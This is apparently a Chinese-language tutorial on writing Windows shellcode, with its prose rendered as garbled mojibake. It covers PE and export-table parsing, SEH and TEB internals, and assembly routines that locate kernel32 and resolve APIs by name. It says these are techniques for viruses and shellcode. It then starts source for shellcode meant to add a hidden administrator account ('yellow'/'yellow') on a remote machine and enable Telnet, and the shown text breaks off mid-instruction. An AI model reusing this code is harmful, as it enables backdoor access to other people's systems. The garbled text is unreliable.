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----------------- ©¦1,DOS MZ header©¦ ----------------- ©¦2,DOS stub ©¦ ----------------- ©¦3,PE header ©¦ ----------------- ©¦4,Section table©¦ ----------------- ©¦5,Section 1 ©¦ ----------------- ©¦6,Section 2 ©¦ ----------------- ©¦ Section ... ©¦ ----------------- ©¦n,Section n ©¦ -----------------
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#include <stdio.h> void main(void) { printf("This program cannot be run in DOS mode.\n"); }
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typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header WORD e_magic; //0x00 Magic number WORD e_cblp; //0x02 Bytes on last page of file WORD e_cp; //0x04 Pages in file WORD e_crlc; //0x06 Relocations WORD e_cparhdr; //0x08 Size of header in paragraphs WORD e_minalloc; //0x0a Minimum extra paragraphs needed WORD e_maxalloc; //0x0c Maximum extra paragraphs needed WORD e_ss; //0x0e Initial (relative) SS value WORD e_sp; //0x10 Initial SP value WORD e_csum; //0x12 Checksum WORD e_ip; //0x14 Initial IP value WORD e_cs; //0x16 Initial (relative) CS value WORD e_lfarlc; //0x18 File address of relocation table WORD e_ovno; //0x1a Overlay number WORD e_res[4]; //0x1c Reserved words WORD e_oemid; //0x24 OEM identifier (for e_oeminfo) WORD e_oeminfo; //0x26 OEM information; e_oemid specific WORD e_res2[10]; //0x28 Reserved words LONG e_lfanew; //0x3c File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
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ÔÚPE header½á¹¹(Äã¿ÉÒÔWinnt.hÖÐÕÒµ½Ëü)ÖаüÀ¨Ò»¸öDataDirectory½á¹¹³ÉÔ±Êý×é,¿ÉÒÔͨ ¹ýÕâÑùµÄ·½·¨À´ÕÒµ½ËüµÄλÖÃ: PEÍ·²¿Æ«ÒÆ=¿ÉÖ´ÐÐÎļþÄÚ´æÓ³Ïó»ùÖ·+0x3c(e_lfanew) PE»ùÖ·=¿ÉÖ´ÐÐÎļþÄÚ´æÓ³Ïó»ùÖ·+PEÍ·²¿Æ«ÒÆ Òý³ö±íĿ¼ָÕë(IMAGE_EXPORT_DIRECTORY*)=PE»ùÖ·+0x78<=---DataDirectory Òý³öº¯ÊýÃû³Æ±íÊ×Ö¸Õë(char**)=Òý³ö±íĿ¼»ùÖ·+0x20 Òý³öº¯ÊýµØÖ·±íÊ×Ö¸Õë(DWORD **)=Òý³ö±íĿ¼ָÕë+0x1c ËüµÄ½á¹¹¶¨ÒåÊÇÕâÑùµÄ:
typedef struct _Image_Data_Directory{ DWORD VirtualAddress; DWORD isize; }IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;
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typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics;//0x00 DWORD TimeDateStamp;//0x04 WORD MajorVersion;//0x08 WORD MinorVersion;//0x0a DWORD Name;//0x0c DWORD Base;//0x10 DWORD NumberOfFunctions;//0x14 DWORD NumberOfNames;//0x18 DWORD AddressOfFunctions;//0x1c RVA from base of image DWORD AddressOfNames;//0x20 RVA from base of image DWORD AddressOfNameOrdinals;//0x24 RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
ÆäÖÐAddressOfFunctionsÀïÓÖ´æ´¢ÁËÒ»¸ö¶þ¼¶Ö¸Õë,ËüÖ¸ÏòÒ»¸öDWORDÐÍÖ¸ÕëÊý×é¸ÃÊý ×é³ÉÔ±ËùÖ¸¾ÍÊǺ¯ÊýµØÖ·Öµ,µ«ÆäÖеÄÖµÊǺ¯ÊýÏà¶ÔÓÚ¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖлùµØÖ·µÄÒ» ¸öÏà¶ÔÆ«ÒÆÖµ,ÕæÕýµÄº¯ÊýµØÖ·µÈÓÚÕâ¸öÏà¶ÔÆ«ÒÆÖµ+¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·,ÎÒ ÃÇ¿ÉÒÔCallÕâ¸ö¼ÆËãºóµÄÕæʵµØÖ·À´µ÷Óú¯Êý.AddressOfNamesÊÇÒ»¸ö¶þ¼¶×Ö·ûÖ¸Õë,¸ÃÊý×é ³ÉÔ±ËùÖ¸¾ÍÊǺ¯ÊýÃû³Æ×Ö·û´®Ïà¶ÔÓÚ¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·µÄÒ»¸öÆ«ÒÆÖµ,ͬÑù ¿ÉÒÔͨ¹ýÏà¶ÔÆ«ÒÆÖµ+¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·À´ÒýÓú¯ÊýÃû³Æ×Ö´®.NameÒ²ÊÇÒ»¸ö ×Ö·ûÖ¸Õë,ËüÒ²Ö»´æ´¢ÁËÏà¶ÔÆ«ÒÆÖµ,Èç¹ûÊÇkernel32µÄIMAGE_EXPORT_DIRECTORYÄÇôËüÖ¸Ïò µÄ×Ö´®¾ÍΪ"KERNEL32.dll".
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//GetFunctionByName.c //ÔÐÍ:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen); //²ÎÊý: // ImageBase: ¿ÉÖ´ÐÐÎļþµÄÄÚ´æÓ³Ïó»ùÖ· // FuncName: º¯ÊýÃû³ÆÖ¸Õë // flen: º¯ÊýÃû³Æ³¤¶È //·µ»ØÖµ: // º¯Êý³É¹¦Ê±·µ»ØÓÐЧµÄº¯ÊýµØÖ·,ʧ°Üʱ·µ»Ø0. //×îÖÕÔÚдShellCodeʱ,Ó¦¸Ã¸ø¸Ãº¯Êý¼ÓÉÏ__inlineÉùÃ÷,ÒòΪËüÒªÓëShellCodeÈÚΪһÌå.
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unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen) { unsigned int FunNameArray,PE,Count=0,*IED;
__asm { mov eax,ImageBase add eax,0x3c//Ö¸ÏòPEÍ·²¿Æ«ÒÆÖµe_lfanew mov eax,[eax]//È¡µÃe_lfanewÖµ add eax,ImageBase//Ö¸ÏòPE header cmp [eax],0x00004550 jne NotFound//Èç¹ûImageBase¾ä±úÓдí mov PE,eax mov eax,[eax+0x78] add eax,ImageBase mov [IED],eax//Ö¸ÏòIMAGE_EXPORT_DIRECTORY //mov eax,[eax+0x0c] //add eax,ImageBase//Ö¸ÏòÒý³öÄ£¿éÃû,Èç¹ûÔÚ²éÕÒKERNEL32.DLLµÄÒý³öº¯ÊýÄÇôËü½«Ö¸Ïò"KERNEL32.dll" //mov eax,[IED] mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//±£´æº¯ÊýÃû³ÆÖ¸ÕëÊý×éµÄÖ¸ÕëÖµ mov ecx,[IED] mov ecx,[ecx+0x14]//¸ù¾ÝÒý³öº¯Êý¸öÊýNumberOfFunctionsÉèÖÃ×î´ó²éÕÒ´ÎÊý FindLoop: push ecx//ʹÓÃÒ»¸öС¼¼ÇÉ,ʹÓóÌÐòÑ»·¸ü¼òµ¥ mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen//Öð¸ö×Ö·û±È½Ï,Èç¹ûÏàͬÔòΪÕÒµ½º¯Êý,×¢ÒâÕâÀïµÄecxÖµ cld rep cmpsb jne FindNext//Èç¹ûµ±Ç°º¯Êý²»ÊÇÖ¸¶¨µÄº¯ÊýÔò²éÕÒÏÂÒ»¸ö add esp,4//Èç¹û²éÕҳɹ¦,ÔòÇå³ýÓÃÓÚ¿ØÖÆÍâ²ãÑ»·¶øѹÈëµÄEcx,×¼±¸·µ»Ø mov eax,[IED] mov eax,[eax+0x1c] add eax,ImageBase//»ñµÃº¯ÊýµØÖ·±í shl Count,2//¸ù¾Ýº¯ÊýË÷Òý¼ÆË㺯ÊýµØÖ·Ö¸Õë=º¯ÊýµØÖ·±í»ùÖ·+(º¯ÊýË÷Òý*4) add eax,Count mov eax,[eax]//»ñµÃº¯ÊýµØÖ·Ïà¶ÔÆ«ÒÆÁ¿ add eax,ImageBase//¼ÆË㺯ÊýÕæʵµØÖ·,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß jmp Found FindNext: inc Count//¼Ç¼º¯ÊýË÷Òý add [FunNameArray],4//ÏÂÒ»¸öº¯ÊýÃûÖ¸Õë mov eax,FunNameArray pop ecx//»Ö¸´Ñ¹ÈëµÄecx(NumberOfFunctions),½øÐмÆÊýÑ»· loop FindLoop//Èç¹ûecx²»Îª0ÔòµÝ¼õ²¢»Øµ½FindLoop,Íùºó²éÕÒ NotFound:xor eax,eax//Èç¹ûûÓÐÕÒµ½,Ôò·µ»Ø0 Found: } } /* ÈÃÎÒÃÇÀ´²âÊÔÒ»ÏÂ,ÏÈÓÃGetFunctionByName»ñµÃkernel32.dllÖÐLoadLibraryA µÄµØÖ·,ÔÙÓÃËü×°ÔØuser32.dll,ÔÙÓÃGetFunctionByName»ñµÃMessageBoxAµÄµØÖ·,call ËüһϠ*/ int main(void) {
char title[]="test",user32[]="user32",msgf[]="MessageBoxA"; unsigned int loadlibfun; loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12); //0x77e60000ÊÇÎÒ»úÆ÷ÉϵÄkernel32.dllµÄ»ùÖ·,²»Í¬»úÆ÷ÉϵÄÖµ¿ÉÄܲ»Í¬ __asm { lea eax,user32 push eax call dword ptr loadlibfun //Ï൱ÓÚÖ´ÐÐLoadLibrary("user32"); lea ebx,msgf push 0x0b//"MessageBoxA"µÄ³¤¶È push ebx push eax call GetFunctionByName mov ebx,eax add esp,0x0c//GetFunctionByNameʹÓÃCµ÷ÓÃÔ¼¶¨,Óɵ÷ÓÃÕßµ÷Õû¶ÑÕ» push 0 lea eax,title push eax push eax push 0 call ebx//Ï൱ÓÚÖ´ÐÐMessageBox(NULL,"test","test",MB_OK) } return 1; } º¯ÊýµÄÄÚÁª»ã±à´úÂëÓкܶàÕâÑùµÄÓï¾ä: mov eax,[somewhere] mov eax,[eax+0x??] add eax,ImageBase ÎÒÊÔ¹ýʹÓÃmov eax,[ImageBase+eax+0x??]Ö®ÀàµÄÓï·¨,ÒòΪÓõ½ºÜ¶à¶à¼¶Ö¸Õë,¶øËüÃÇÖ¸Ïò µÄÓÖÊÇÏà¶ÔÆ«ÒÆÁ¿ËùÒÔÒª²»¶ÏµÄ"»ñÈ¡ºÍ¼ÆËã",·ñÔòºÜÈÝÒ×µ¼ÖÂ"·ÃÎÊÎ¥Àý".±àÒëÔËÐÐ,µ¯³öÁË Ò»¸öMessageBox±êÌâºÍÄÚÈݶ¼ÊÇ"test"¿´µ½ÁËÂð?Äã¿ÉÄÜ»áÎÊÕâ¸ö³ÌÐòÄõ½ÆäËü»úÆ÷ÉÏÒ²¿ÉÄÜ ÔËÐÐÂð?ÔÚÕû¸ö³ÌÐòÀïÎÒÃÇΨһÒÀÀµµÄ¾ÍÊÇ0x77e60000Õâ¸ökernel32.dll»ùÖ·,ÆäËü»úÆ÷É쵀 ¿ÉÄܲ»ÊÇÕâ¸öÖµ,Èç¹ûÕâ¸öµØÖ·Öµ¿ÉÒÔÔÚ³ÌÐòÔËÐÐʱ¶¯Ì¬µÄ¼ÆËã³öÀ´,ÄÇôÕâ¸ö³ÌÐò½«·Ç³£Í¨ ÓÃ,Ëü¿ÉÒÔ¶¯Ì¬¼ÆËã³öÀ´Âð?´ð°¸Êǿ϶¨µÄ!ÏÂÒ»½ÚÎÒÃǽ«À´·ÖÎöÒ»ÖÖ²¢²»ºÜÁ÷Ðе«ºÜͨÓõĶ¯ ̬¼ÆËã»ñµÃkernel32.dll»ùÖ·µÄ·½·¨.
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1,¼òÎö½á¹¹»¯Òì³£´¦Àí(SEH,Structred Exception Handling) SEHÒѾ²»ÊǺÜʲôм¼ÊõÁË,µ«ÊǶÔÓÚÎÒ½«Òª½²Á˷dz£ÖØÒª,ËùÒÔÔÚÕâÀï¶ÔËü×öÒ»¸ö¼òµ¥µÄ ·ÖÎö.Ok,´ò¿ªVC,ÈÃÎÒÃÇÀ´·ÖÎöÒ»¸ö¼òµ¥µÄ"³ý"ÔËËã³ÌÐò,¿´¿´ËüÄÄÀïÓÐÎÊÌâ:
#include <stdio.h> #include <conio.h> int main(void) { int x,y,z=y=x=0; printf("Input two integer number:"); scanf("%d %d",&x,&y); z=x/y; printf("%d DIV %d = %d",x,y,z); getch(); return 0; } ±àÒë,ÔËÐÐ:ÊäÈë4 2,³ÌÐòÊä³ö"4 DIV 2 = 2",½á¹ûºÜÕýÈ·.ÔÙÔËÐÐÊäÈë 4 0,ÎÊÌâ³öÀ´ÁË, Visual Studioµ¯³öÁËÒ»¸öÐÅÏ¢¿ò: "Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",³öÏÖÁËδ´¦ÀíµÄ "³ý0Òì³£",´«Í³µÄ·½·¨ÊÇÎÒÃÇÔÚz=x/y֮ǰ¼ÓÉÏÅжÏ: #include <stdio.h> #include <conio.h> int main(void) { int x,y,z=y=x=0; printf("Input two integer number:"); scanf("%d %d",&x,&y); if(!y) { printf("Can not Divide by Zero!"); goto LQUIT; } z=x/y; printf("%d DIV %d = %d",x,y,z); LQUIT: getch(); return 0; } ³ö´í´¦ÀíÔÚÕâ¸öС³ÌÐòÀïÕâµÄÈ·ºÜÈÝÒ׿´¶®,¿ÉÊÇÏëÏëÈç¹ûÔÚÊýǧÉõÖÁÉÏÍòÐеijÌÐòÀï,ÕâÑùµÄ ´íÎ󲶻ñ´¦Àí»áÈóÌÐò±äµÄÊ®·ÖÁèÂÒÄѶ®,¶øÇÒ´«Í³·½·¨´¦ÀíµÄÊÇÎÒÃÇ¿ÉÒÔÏëÏñ(²Â²â)µ½µÄ´íÎó, µ«ÊÇijЩµ¼µ½³ÌÐò³ö´íµÄÇé¿öÊǺÜËæ»úµÄ,ÕâÑù¾Í²»Äܱ£Ö¤³ÌÐòµÄ½¡×³ÐÔÁË,¶øSEHÕýÊÇΪÁËÈÃÕý ³£µÄ´¦Àí´úÂëºÍ³ö´í´¦Àí´úÂë·Ö¿ª,ÒÔʹ³ÌÐò½á¹¹ÇåäÀ,²¢Ê¹³ÌÐò¸ü¼Ó ½¡×³.ÈÃÎÒÃÇÔÙ°ÑÕâ¸öС³ÌÐò¸ÄÒ»ÏÂ: #include <stdio.h> #include <conio.h> #include <windows.h>
int main(void) { int x,y,z=y=x=0; printf("Input Two Integer Number:"); scanf("%d %d",&x,&y); __try {//°Ñ¿ÉÄܳö´íµÄ³ÌÐò¶Î·â×°ÆðÀ´ z=x/y; //...... } __except(EXCEPTION_EXECUTE_HANDLER) {//ÔÚÕâÀïÕÒ³ö³öÏÖÒì³£µÄÔÒò,²¢½øÐд¦Àí switch(GetExceptionCode()) { case EXCEPTION_INT_DIVIDE_BY_ZERO://Èç¹û³ý0Òì³£ { printf("Can not Divide by Zero!"); goto LQUIT; } case EXCEPTION_ACCESS_VIOLATION://ÄÚ´æ·ÃÎÊÎ¥Àý { //..... break; } //do other...... default: break; } } printf("%d DIV %d = %d\n",x,y,z); LQUIT: getch(); return 0; } ÕâÑùÎÒÃǾÍʹÖÕ¶¼¿ÉÒÔ²¶»ñµ½Òì³£ÁË,±àÒë,Ñ¡Ôñ"Disassembly",¿ÉÒÔ¿´µ½ÕâÑùµÄ´úÂë: push offset __except_handler3 (00401330) mov eax,fs:[00000000] push eax mov dword ptr fs:[0],esp ÕâÊÇʵ¼ÊÉÏÊDZê×¼µÄSEHÒì³£´¦Àíº¯ÊýµÄ×¢²á·½·¨,ÎÒÃǵÄ__except(){}ʵ¼ÊÔÚ±àÒëʱ±»µ±³ÉÒ»¸ö Ïß³ÌÏà¹ØµÄÒì³£´¦Àíº¯Êý,ʵ¼ÊÉÏÕâ¶Î´úÂëµÄ×÷ÓÃÊǽ«ÎÒÃǵÄÒì³£´¦Àíº¯Êý¼ÓÈëÒì³£´¦Àí½á¹¹Á´ ±íEXCEPTION_REGISTRATION_RECORD,fs:[0]ÊÇÕâ¸öÒì³£´¦Àíº¯ÊýÁ´±íµÄÊ×Ö¸Õë,ËüµÄ×îºóÒ»Ìõ¼Ç¼ µÄ½ÚµãÖ¸ÕëÖ¸Ïò0xffffffff.ËüµÄ½á¹¹ÃèÊöÊÇÕâÑùµÄ:
typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD * pNext; //Ö¸ÏòºóÃæµÄ½Úµã FARPROC pfnHandler;//Ö¸ÏòÒì³£´¦Àíº¯Êý } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Äã¿ÉÄÜ»áÎÊ"ÄãÔõô֪µÀfs:[0]ÊǸýṹµÄÊ×Ö¸ÕëÄØ?",µ±È»ÎÒûÓÐÄÇôÌì²Å,´ÓWindows 95ϵͳ³ÌÐò Éè¼ÆÒ»ÊéÖпÉÒÔµÃ֪ÿµ±´´½¨Ò»¸öÏß³Ì,ϵͳ¾ù»áΪÿ¸öÏ̷߳ÖÅäTEB(Thread Environment Block) ÔÚWindows 9xÖб»³ÆΪTIB(Thread Information Block),¶øÇÒTEBÓÀÔ¶·ÅÔÚfs¶ÎÑ¡ÔñÆ÷Ö¸¶¨µÄÊý¾Ý¶Î µÄ0Æ«ÒÆ´¦. ----------------------------------- ----------------------------- ÔÙ¿´Ò»ÏÂTEBµÄ½á¹¹¶¨ÒåÄã¾Í»áÃ÷°×µÄ: typedef struct _TIB { PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---×¢ÒâÕâ¸öÖ¸Õë³ÉÔ± --------------------------------------------------------- PVOID pvStackUserTop; // 04h Top of user stack PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences) { struct // Win95 fields { WORD pvTDB; // 0Ch TDB WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits DWORD unknown1; // 10h } WIN95;
struct // WinNT fields { PVOID SubSystemTib; // 0Ch ULONG FiberData; // 10h } WINNT; } TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences) { struct // Win95 fields { WORD TIBFlags; // 1Ch WORD Win16MutexCount; // 1Eh DWORD DebugContext; // 20h DWORD pCurrentPriority; // 24h DWORD pvQueue; // 28h Message Queue selector } WIN95;
struct // WinNT fields { DWORD unknown1; // 1Ch DWORD processID; // 20h <=---×¢ÒâÕâ¸öºÍÏÂÃæÒ»¸ö³ÉÔ± //------------- DWORD threadID; // 24h <=---×¢ÒâÕâ¸ö³ÉÔ± //------------- DWORD unknown2; // 28h } WINNT; } TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences) { struct // Win95 fields { PVOID* pProcess; // 30h Pointer to owning Process Database } WIN95; } TIB_UNION3;
} TIB, *PTIB;
¿´¼ûÁËÂð?TEBµÄµÚÒ»¸ö³ÉÔ±pvExceptÊÇÒì³£´¦ÀíÁ´Ê×Ö¸ÕëHead of exception record list,ËüÏà¶ÔÓÚ TEBÊ×µØÖ·0x00Æ«ÒÆ´¦,¶øTEBÓÀÔ¶·ÅÔÚfs¶Î¼Ä´æÆ÷µÄ0x00Æ«ÒÆ´¦,Ò²¾ÍÊÇfs¶Î¼Ä´æÆ÷µÄ0x00Æ«ÒÆ´¦. ¿´µ½ÎÒÈÃÄãÁôÒâµÄÁíÁ½¸ö³ÉÔ±ÁËÂð?processID´æ´¢Á˵±Ç°Ïß³ÌÊô½ø³ÌµÄIDºÅ,threadID´æ´¢Á˵±Ç°Ïß³Ì IDºÅ,ÕâÑùÎÒÃÇÓÖ¿ÉÒÔʵÏÖÁ½Windows APIÁË: //MyAPI.c #include <stdio.h> #include <conio.h> #include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void) { __asm { mov eax,fs:[0x20]//¶ÁÈ¡TEBµÄprocessID³ÉÔ±ÄÚÈÝ,ͨ¹ýeax·µ»Ø ret } }
__inline __declspec(naked)DWORD GetCurrentThreadId2(void) { __asm { mov eax,fs:[0x24]//¶ÁÈ¡TEBµÄthreadID³ÉÔ±ÄÚÈÝ,ͨ¹ýeax·µ»Ø ret } } //²âÊÔһϠvoid main(void) { printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessId2(),GetCurrentProcessId()); printf("MY TID=%d\tAPI TID=%d\n",GetCurrentThreadId2(),GetCurrentThreadId()); getch(); } ³ÌÐòÊä³ö: MY PID=1448 API PID=1448 MY TID=1204 API TID=1204
×¢Òâ,²»Í¬µÄ»úÆ÷,²»Í¬Ê±¿ÌÕâÀïÊä³öµÄÖµ¿ÉÄܲ»Ò»Ñù,µ«MY PIDºãµÈÓÚAPI PID,MY TIDºãµÈAPI TID.Ô½ À´Ô½ÓÐÒâ˼ÁË°É!˵ÁËÕâô¶à,ÄÇôÕâЩÓë»ñµÃkernel32.dll»ùÖ·ÓÐʲô¹ØϵÂð?²»Òª×ż±,¼ÌÐøÍùÏ¿´Ä㠾ͻáÃ÷°×µÄ!
2,ͨ¹ýÒì³£´¦Àíº¯ÊýÁ´±í²éÕÒkernel32.dll»ùµØÖ·
ÏÖÔÚÈÃÎÒÃÇÀ´¿´¿´Òì³£´¦ÀíµÄ˳Ðò,ËüÊÇÕâÑùµÄ: µ±Ò»¸öÒì³£·¢Éúʱ,ϵͳ»á´Ófs:[0]´¦¶ÁÈ¡Òì³£´¦Àíº¯ÊýÁ´±íÊ×Ö¸Õë,¿ªÊ¼ÎÊËùÓÐÔÚÓ¦ÓóÌÐòÖÐ×¢²áµÄ Òì³£´¦Àíº¯Êý,±ÈÈçÉÏÃæµÄ"³ý0Òì³£",ϵͳ»á°ÑÕâ¸öÒ쳣֪ͨÎÒÃǵÄÒì³£´¦Àíº¯Êý,º¯Êýʶ±ð³öÊÇ"³ý0Òì³£", ²¢¸øÓèÁË´¦Àí(Êä³öÁË"Can not Divide by Zero!"),²¢¸æËßϵͳ"ÎÒÒѾ´¦Àí¹ýÁË,²»ÓÃÔÙÎÊÆäËüº¯ÊýÁË". Èç¹ûÎÒÃǵĺ¯Êý²»´òËã´¦ÀíÕâ¸öÒì³£¿ÉÒÔ½»¸øÐֵܽڵãÖÐÒì³£´¦Àíº¯ÊýÖ¸ÕëÖ¸ÏòµÄÆäËüÒì³£´¦Àíº¯Êý ´¦Àí,Èç¹û³ÌÐòÖÐ×¢²áµÄÒì³£´¦Àí¾ù²»´¦ÀíÕâ¸öÒì³£,ÄÇôϵͳ½«°ÑËü·¢Ë͸øµ±Ç°µ÷ÊÔ¹¤¾ß,Èç¹ûÓ¦ÓóÌÐòµ± Ç°²»´¦ÔÚµ÷ÊÔ״̬»òÊǵ÷ÊÔ¹¤¾ßÒ²²»´¦ÀíÕâ¸öÒì³£µÄ»°,ϵͳ½«°ÑËü·¢Ë͸økernel32µÄUnhandledExceptionFilter º¯Êý½øÐд¦Àí,µ±È»ËüÊÇÓɳÌÐòÒì³£´¦ÀíÁ´×îºóÒ»¸ö½ÚµãµÄpfnHandler(²Î¿¼EXCEPTION_REGISTRATION_RECORD) º¯ÊýÖ¸Õë³ÉÔ±Ö¸ÏòµÄ,¸Ã½ÚµãµÄpNext³ÉÔ±½«Ö¸Ïò0xffffffff. ¿´ÁËÕâô¶àÓеãÁé¸ÐÁËÂð?ÎÒÃÇÒѾÓÐÁËkernel32.dllµÄÒ»¸öÒý³öº¯ÊýµÄµØÖ·ÁË,ÄѵÀ»¹ÕÒ²»³öËüµÄ»ùÖ· Âð?¿´¿´ÏÂÃæµÄÕâ¸öС³ÌÐò°É! /* ÔÐÍ:unsigned int GetKernel32(void); ²ÎÊý:ÎÞ ·µ»ØÖµ: º¯Êý×ÜÊÇÄÜ·µ»ØKernel32.dllµÄ»ùµØÖ· ˵Ã÷:¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷´ÓUnhandledExceptionFilterº¯ÊýµØÖ·ÏòÉÏÏßÐÔ²éÕÒ,ʹÓÃ__inlineÊÇΪÁËÓë ×îÖÕµÄShellCodeÈÚΪһÌå,ʹÓÃ__declspec(naked)ÊÇΪÁ˲»ÈñàÒëÆ÷×Ô×÷´ÏÃ÷Éú³ÉһЩ"·Ï»°",ÈÃËü ÍêÈ«°´ÕÕÎÒÃÇ×Ô¼ºµÄAsmÓï¾äÀ´ÃèÊöº¯Êý. */ #include <stdio.h> #include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32() { __asm { push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter//Èç¹ûµ½´ï×îºóÒ»¸ö½Úµã(ËüµÄpfnHandlerÖ¸ÏòUnhandledExceptionFilter) mov eax,[eax]//·ñÔòÍùºó±éÀú,Ò»Ö±µ½×îºóÒ»¸ö½Úµã jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000//¸ù¾ÝPEÖ´ÐÐÎļþÒÔ64k¶Ô½çµÄÌØÕ÷¼Ó¿ì²éÕÒËÙ¶È cmp word ptr [eax],ZM//¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷²éÕÒKERNEL32.DLLµÄ»ùÖ· jne MoveUp//Èç¹ûµ±Ç°µØÖ·²»·ûÈ«MZÍ·²¿ÌØÕ÷,ÔòÏòÉϲéÕÒ mov ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],EP//¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷²éÕÒKERNEL32.DLLµÄ»ùÖ· je Found//Èç¹û·ûºÏMZ¼°PEÍ·²¿ÌØÕ÷,ÔòÈÏΪÒѾÕÒµ½,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß MoveUp: dec eax//×¼±¸Ö¸ÏòÏÂÒ»¸ö½çÆðʼµØÖ· jmp FindMZ Found: pop ecx pop esi ret } }
void main(void) { printf("%0.8X\n",GetKernel32()); getch(); }
Íê³ÉÁ˱¾½ÚµÄѧϰÒÔºó,ÄãÓ¦¸ÃÕÆÎÕ³£ÓÃÓÚ±àд²¡¶¾ºÍShellCodeµÄ¼¸ÖÖ¼¼Êõ: 1,¸ù¾ÝPEÎļþ²éÕÒÒý³öº¯ÊýµØÖ· 2,¶¯Ì¬¼ÆËãKERNEL32.DLLµÄ»ùÖ· 3,¶¯Ì¬×°ÔØÐèÒªµÄÔËÐп⼰¶¯»ñµÃÐèÒªµÄWindows API(s) ÔÚ×îºóÒ»½ÚÀïÎÒÃǽ«¶ÔÇ°ÃæËù·ÖÎöµÄ¼¼Êõ×öÒ»¸ö×ÛºÏÓ¦ÓÃ,дһ¸ö¼òµ¥µÄShellCode -------------------------------------------------------------------------------------------- Èý,×ÛºÏÔËÓà ±¾½ÚÎÒÃǽ«×ÛºÏÇ°Ãæ·ÖÎöµÄ¼¼Êõ±àдһ¸ö¼òµ¥µÄͨÓÃShellCode,Õâ¸öShellCode½«Ê×ÏÈÔÚÔ¶³Ì»úÆ÷ÉÏн¨Ò»¸ö Óû§,Óû§Ãûyellow,ÃÜÂëyellow,Èç¹ûÈç¹û¿ÉÄܽ«°Ñ¸ÃÓû§¼ÓÈëAdministratorsÓû§×é,Èç¹û¿ÉÄÜ»¹»á´ò¿ªTelnet ·þÎñ,ÇëÁôÒâÎҵıàÂë·ç¸ñ,ÕâÑù·ç¸ñ¶ÔÒÔºóµÄShellCode¹¦ÄÜÀ©³äÌṩºÜ´ó·½±ã.Ô´³ÌÐòÈçÏÂ: /////////////////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <conio.h> #include <windows.h> #include <winsock.h> //¶¨ÒåAPI¼°DLLÃû³Æ¼°Æä´æ´¢Ë³Ðò,Á¼ºÃµÄ±àÂë·ç¸ñ¶ÔÓÚÒÔºóµÄ¿ª·¢»áÌṩºÜ´óµÄ·½±ã #define APISTART 0 #define GETPROCADDRESS(APISTART+0) #define LOADLIBRARY(APISTART+1) #define EXITPROCESS(APISTART+2) #define WINEXEC(APISTART+3) #define KNLSTART(EXITPROCESS) #define KNLEND(WINEXEC) #define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1) #define SOCKET(WSOCKSTART+0) #define BIND(WSOCKSTART+1) #define CONNECT(WSOCKSTART+2) #define ACCEPT(WSOCKSTART+3) #define LISTEN(WSOCKSTART+4) #define SEND(WSOCKSTART+5) #define RECV(WSOCKSTART+6) #define CLOSESOCKET(WSOCKSTART+7) #define WSASTARTUP(WSOCKSTART+8) #define WSACLEANUP(WSOCKSTART+9) #define WSOCKEND(WSACLEANUP) #define NWSOCKAPI(10) //define NETAPI,RPCAPI...... #define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0 #define KERNELDLL(DLLSTART+0) #define WS2_32DLL(DLLSTART+1) #define DLLEND (WS2_32DLL) #define NDLLS2
#define COMMAND_START 0 #define COMMAND_ADDUSER (COMMAND_START+0) #define COMMAND_SETUSERADMIN(COMMAND_START+1) #define COMMAND_OPENTLNT (COMMAND_START+2) #define COMMAND_END (COMMAND_OPENTLNT) #define NCMD3 void ShellCodeFun(void) { DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS]; int i; char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD]; FARPROC API[NAPIS]; __asm {//1,ÊÖ¹¤»ñµÃKERNEL32.DLL»ùÖ·,²¢»ñµÃLoadLibraryAºÍGetProcAddressº¯ÊýµØÖ· push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter mov eax,[eax] jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000 cmp word ptr [eax],ZM jne MoveUp mov 